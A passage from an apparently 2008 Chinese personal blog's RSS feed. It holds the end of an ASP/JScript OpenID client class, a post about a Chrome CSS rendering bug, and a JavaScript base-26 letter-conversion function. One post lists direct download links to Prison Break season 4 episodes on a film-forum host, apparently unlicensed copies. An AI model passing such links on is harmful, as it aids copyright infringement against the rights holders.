/>&#160;&#160;&#160;&#160;&nbsp;&nbsp;var&nbsp;re=new&nbsp;RegExp(&quot;assoc_type:(.+)&quot;,&quot;ig&quot;);<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;aassoc_type&nbsp;=&nbsp;re.exec(html)[1];<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;var&nbsp;re=new&nbsp;RegExp(&quot;expires_in:(.+)&quot;,&quot;ig&quot;);<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;expires_in&nbsp;=&nbsp;re.exec(html)[1];<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;var&nbsp;re=new&nbsp;RegExp(&quot;mac_key:(.+)&quot;,&quot;ig&quot;);<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;mac_key&nbsp;=&nbsp;re.exec(html)[1];<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;delete&nbsp;re;<br />&#160;&#160;&#160;&#160;}catch(e){}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;url&nbsp;=&nbsp;this.server;<br />&#160;&#160;&#160;&#160;url&nbsp;+=&nbsp;url.indexOf(&quot;?&quot;)!=-1?&quot;&amp;&quot;:&quot;?&quot;;<br />&#160;&#160;&#160;&#160;url&nbsp;+=&nbsp;&quot;openid.mode=&quot;+Server.URLEncode(&quot;checkid_setup&quot;);<br />&#160;&#160;&#160;&#160;url&nbsp;+=&nbsp;&quot;&amp;openid.identity=&quot;+Server.URLEncode(this.delegate);<br />&#160;&#160;&#160;&#160;url&nbsp;+=&nbsp;&quot;&amp;openid.trust_root=&quot;+Server.URLEncode(this.trust_root);<br />&#160;&#160;&#160;&#160;url&nbsp;+=&nbsp;&quot;&amp;openid.return_to=&quot;+Server.URLEncode(this.return_to);<br />&#160;&#160;&#160;&#160;url&nbsp;+=&nbsp;&quot;&amp;openid.assoc_handle=&quot;+Server.URLEncode(assoc_handle);<br />&#160;&#160;&#160;&#160;url&nbsp;+=&nbsp;&quot;&amp;openid.sreg.required=&quot;+Server.URLEncode(this.sreg_required);<br /><br />&#160;&#160;&#160;&#160;Response.Redirect(url);<br />&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;this.init&nbsp;=&nbsp;function(){<br />&nbsp;&nbsp;&nbsp;&nbsp;if(!this.check())&nbsp;return&nbsp;false;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;if(this.trust_root==&quot;&quot;||this.return_to==&quot;&quot;){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;thisServer=&quot;&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;thisUrl=&quot;&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thisServer+=String(Request.serverVariables(&quot;https&quot;)).toLowerCase()==&quot;off&quot;?&quot;http://&quot;:&quot;https://&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thisServer+=String(Request.serverVariables(&quot;server_name&quot;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thisServer+=String(Request.serverVariables(&quot;server_port&quot;))==&quot;80&quot;?&quot;&quot;:&quot;:&quot;+String(Request.ServerVariables(&quot;server_port&quot;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thisUrl+=thisServer;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thisUrl+=String(Request.serverVariables(&quot;URL&quot;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thisUrl+=String(Request.QueryString)==&quot;&quot;?&quot;&quot;:&quot;?&quot;+String(Request.QueryString);<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;this.trust_root=(this.trust_root==&quot;&quot;?thisServer:this.trust_root);<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;this.return_to=(this.return_to==&quot;&quot;?thisUrl:this.return_to);<br />&#160;&#160;&#160;&#160;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;html&nbsp;=&nbsp;this.request(this.url);<br />&#160;&#160;&#160;&#160;if&nbsp;(html==&quot;&quot;)&nbsp;return&nbsp;false;<br />&#160;&#160;&#160;&#160;html=html.replace(/\'/ig,&quot;\&quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;re=new&nbsp;RegExp(&quot;&lt;link(.*?)rel=\&quot;(.*?)\&quot;(.*?)href=\&quot;(.*?)\&quot;(.*?)&gt;&quot;,&quot;ig&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;arr=[];<br />&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;((arrMatch&nbsp;=&nbsp;re.exec(html))&nbsp;!=&nbsp;null){<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;var&nbsp;index=arrMatch[2].toLowerCase();<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;var&nbsp;value=arrMatch[4];<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;if(index.indexOf(&quot;&nbsp;&quot;)){<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;&nbsp;&nbsp;for(var&nbsp;j=0;j&lt;index.split(&quot;&nbsp;&quot;).length;j++)arr[index.split(&quot;&nbsp;&quot;)[j]]=value;<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;}else{<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;&nbsp;&nbsp;arr[index]=value;<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&#160;&#160;&#160;&#160;delete&nbsp;re;<br />&#160;&#160;&#160;&#160;if(arr[&quot;openid.server&quot;]!=&quot;&quot;){<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;this.server=arr[&quot;openid.server&quot;];<br />&#160;&#160;&#160;&#160;}else{<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;return&nbsp;false;<br />&#160;&#160;&#160;&#160;}<br />&#160;&#160;&#160;&#160;this.delegate&nbsp;=&nbsp;arr[&quot;openid.delegate&quot;]==undefined?this.url:arr[&quot;openid.delegate&quot;];<br />&#160;&#160;&#160;&#160;return&nbsp;true;<br />&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;this.check&nbsp;=&nbsp;function(){<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(this.url==&quot;&quot;)&nbsp;return&nbsp;false;<br />&nbsp;&nbsp;&nbsp;&nbsp;if(this.url.indexOf(&quot;://&quot;)==-1)&nbsp;this.url=&quot;http://&quot;+this.url;<br />&#160;&#160;&#160;&#160;return&nbsp;true;<br />&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;this.request&nbsp;=&nbsp;function(url,data){<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(data&nbsp;==&nbsp;undefined)var&nbsp;data&nbsp;=&nbsp;null;<br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;method&nbsp;=&nbsp;data&nbsp;?&nbsp;'POST'&nbsp;:&nbsp;'GET';&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;html=&quot;&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;try{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;xmlhttp=Server.CreateObject(&quot;MSXML2.ServerXMLHTTP.3.0&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xmlhttp.open(method,url,false);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xmlhttp.send(data);<br />&nbsp;&nbsp;&#160;&#160;&#160;&#160;&nbsp;&nbsp;html&nbsp;=&nbsp;this.bytesToStr(xmlhttp.responseBody);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;delete&nbsp;xmlhttp;<br />&nbsp;&nbsp;&nbsp;&nbsp;}catch(e){}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;html;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;this.bytesToStr&nbsp;=&nbsp;function(CodeBody){<br />&#160;&#160;&#160;&#160;var&nbsp;objStream=&nbsp;Server.CreateObject(&quot;ado&quot;+&quot;db.stream&quot;)&nbsp;;<br />&#160;&#160;&#160;&#160;objStream.Type&nbsp;=&nbsp;1&nbsp;;<br />&#160;&#160;&#160;&#160;objStream.Mode&nbsp;=3&nbsp;;<br />&#160;&#160;&#160;&#160;objStream.Open()&nbsp;;<br />&#160;&#160;&#160;&#160;objStream.Write(CodeBody);<br />&#160;&#160;&#160;&#160;objStream.Position&nbsp;=&nbsp;0&nbsp;;<br />&#160;&#160;&#160;&#160;objStream.Type&nbsp;=&nbsp;2&nbsp;;<br />&#160;&#160;&#160;&#160;objStream.charset&nbsp;=&nbsp;&quot;utf-8&quot;&nbsp;;<br />&#160;&#160;&#160;&#160;var&nbsp;returnstr&nbsp;=&nbsp;objStream.ReadText;<br />&#160;&#160;&#160;&#160;objStream.Close();<br />&#160;&#160;&#160;&#160;delete&nbsp;objStream;<br />&#160;&#160;&#160;&#160;return&nbsp;returnstr;<br />&nbsp;&nbsp;}<br /><br />}<br />&lt;/script&gt;</div>]]></description>
    </item>

    <item>
	<link><![CDATA[http://ifisker.com/blog/post/0809/fuck-google-chrome.html]]></link>
	<title><![CDATA[fisker:fuck google chrome]]></title>
	<author>lionkay@gmail.com</author>
	<category><![CDATA[fisker's blog]]></category>
	<pubDate>Wed, 03 Sep 2008 10:05:13 +0800</pubDate>
	<guid><![CDATA[http://ifisker.com/blog/post/0809/fuck-google-chrome.html]]></guid>	
	<description><![CDATA[刚看了好一会没找到原因。我的&nbsp;<a href="http://www.x2y2.com/movie/" target="_blank" rel="nofollow">http://www.x2y2.com/movie/</a>，打开以后全都堆在一起<br /><br />我把页面保存到本地又没问题，回头有空再把css一块块注释掉看看。<br /><br />另外，Inspector竟然不认识thead，如果你用&lt;thead&gt;嵌套&lt;td&gt;，就会显示错误。<br />还有就是关闭最后一个tab为什么不打开一个about:blank，直接关掉浏览器很不爽<br /><br />最后终于找出来了<br />我css里面写错了一行<br /><div class="code">&nbsp;&nbsp;background:url(&nbsp;&nbsp;clear:both;</div><br />就因为少了个)，难道;的优先级还没有()高？<br />我晕啊<br /><br /><br />浏览器信息：<br /><span style="color:Red">window.navigator.appName:</span>Netscape<br /><span style="color:Red">window.navigator.appVersionn:</span>5.0&nbsp;(Windows;&nbsp;U;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;en-US)&nbsp;AppleWebKit/525.13&nbsp;(KHTML,&nbsp;like&nbsp;Gecko)&nbsp;chrome/0.2.149.27&nbsp;Safari/525.13<br /><span style="color:Red">window.navigator.userAgent:</span>Mozilla/5.0&nbsp;(Windows;&nbsp;U;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;en-US)&nbsp;AppleWebKit/525.13&nbsp;(KHTML,&nbsp;like&nbsp;Gecko)&nbsp;chrome/0.2.149.27&nbsp;Safari/525.13<br /><br />判断chrome<br /><br /><div class="code">var&nbsp;ischrame&nbsp;=&nbsp;window.navigator.userAgent.toLowerCase().indexOf(&quot;chrome&quot;)!=-1;<br /><br />alert(ischrame);<br /></div><br /><br /><br />]]></description>
    </item>

    <item>
	<link><![CDATA[http://ifisker.com/blog/post/0809/pb-s4.html]]></link>
	<title><![CDATA[fisker:越狱 第四季 lol...]]></title>
	<author>lionkay@gmail.com</author>
	<category><![CDATA[fisker's blog]]></category>
	<pubDate>Tue, 02 Sep 2008 14:36:39 +0800</pubDate>
	<guid><![CDATA[http://ifisker.com/blog/post/0809/pb-s4.html]]></guid>	
	<description><![CDATA[越狱&nbsp;第四季&nbsp;第1集&nbsp;<br /><a href="http://www.x2y2.com/movie/id/n/13297/" target="_blank" rel="nofollow">http://www.x2y2.com/movie/id/n/13297/</a><br /><br />第1集avi高清版:<br />http://dvd.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison.Break.S04E01.HDTV.XviD-LOL.avi&nbsp;<br /><br />第1集无字幕版:<br />http://rmvb.uubird.com:87/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison-Break-S04E01.rmvb<br /><br />第1集中英双字幕版:<br />http://rmvb.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison-Break-S04E01cn.rmvb<br /><br />越狱&nbsp;第四季&nbsp;第2集&nbsp;<br /><a href="http://www.x2y2.com/movie/id/n/13298/" target="_blank" rel="nofollow">http://www.x2y2.com/movie/id/n/13298/</a><br /><br />第2集avi高清版:<br />http://dvd.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison.Break.S04E02.HDTV.XviD-LOL.avi<br />第2集无字幕版:<br />http://rmvb.uubird.com:87/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison-Break-S04E02.rmvb<br />第2集中英双字幕版:&nbsp;<br />http://rmvb.uubird.com:89/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison-Break-S04E02cn.rmvb<br /><br />最新电影&nbsp;傲游插件<br /><a href="http://addons.maxthon.com/zh_CN/post/2196" target="_blank" rel="nofollow">http://addons.maxthon.com/zh_CN/post/2196</a>]]></description>
    </item>

    <item>
	<link><![CDATA[http://ifisker.com/blog/post/0809/number-to-string.html]]></link>
	<title><![CDATA[fisker:纯字母的26进制算法]]></title>
	<author>lionkay@gmail.com</author>
	<category><![CDATA[fisker's blog]]></category>
	<pubDate>Mon, 01 Sep 2008 13:10:30 +0800</pubDate>
	<guid><![CDATA[http://ifisker.com/blog/post/0809/number-to-string.html]]></guid>	
	<description><![CDATA[<div class="code">function&nbsp;zimu(n){<br />&nbsp;&nbsp;if&nbsp;(n&lt;0)return&nbsp;&quot;&quot;;<br />&nbsp;&nbsp;var&nbsp;aZ=[&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;];<br />&nbsp;&nbsp;var&nbsp;str=&quot;&quot;;<br />&nbsp;&nbsp;var&nbsp;last=n&#037;26;<br />&nbsp;&nbsp;str=aZ[last]+str;<br />&nbsp;&nbsp;n=n-last;<br /><br />&nbsp;&nbsp;if(n&gt;0){str=zimu(n/26-1)+str;}<br />&nbsp;&nbsp;return&nbsp;str;<br />}<br /></div><br /><br />如果需要处理负数，其实应该用不到<br /><div class="code">function&nbsp;zimu(n){<br />&nbsp;&nbsp;var&nbsp;fushu&nbsp;=&nbsp;n&lt;0?true:false;<br />&nbsp;&nbsp;if&nbsp;(n&lt;0)n=-n;<br />&nbsp;&nbsp;var&nbsp;aZ=[&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;];<br />&nbsp;&nbsp;var&nbsp;str=&quot;&quot;;<br />&nbsp;&nbsp;var&nbsp;last=n&#037;26;<br />&nbsp;&nbsp;str=aZ[last]+str;<br />&nbsp;&nbsp;n=n-last;<br /><br />&nbsp;&nbsp;if(n&gt;0){str=zimu(n/26-1)+str;}<br />&nbsp;&nbsp;return&nbsp;(fushu?&quot;-&quot;:&quot;&quot;)+str;<br /><br />}<br /></div><br /><br /><br />如果不需要0，a=1,b=2<br /><div class="code">function&nbsp;zimu(n){<br />&nbsp;&nbsp;if&nbsp;(n&lt;=0)return&nbsp;&quot;&quot;;<br />&nbsp;&nbsp;var&nbsp;aZ=[&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;];<br />&nbsp;&nbsp;var&nbsp;str=&quot;&quot;;<br />&nbsp;&nbsp;n=n-1;<br />&nbsp;&nbsp;var&nbsp;last=n&#037;26;<br />&nbsp;&nbsp;str=aZ[last]+str;<br />&nbsp;&nbsp;n=n-last;<br /><br />&nbsp;&nbsp;if(n&gt;0){str=zimu(n/26)+str;}<br />&nbsp;&nbsp;return&nbsp;str;<br />}<br /></div><br /><br />用0-9,a-p表示26进制，这个就简单了<br /><div class="code">&quot;2008&quot;.toString(26)</div><br />]]></description>
    </item>

</channel>
</rss>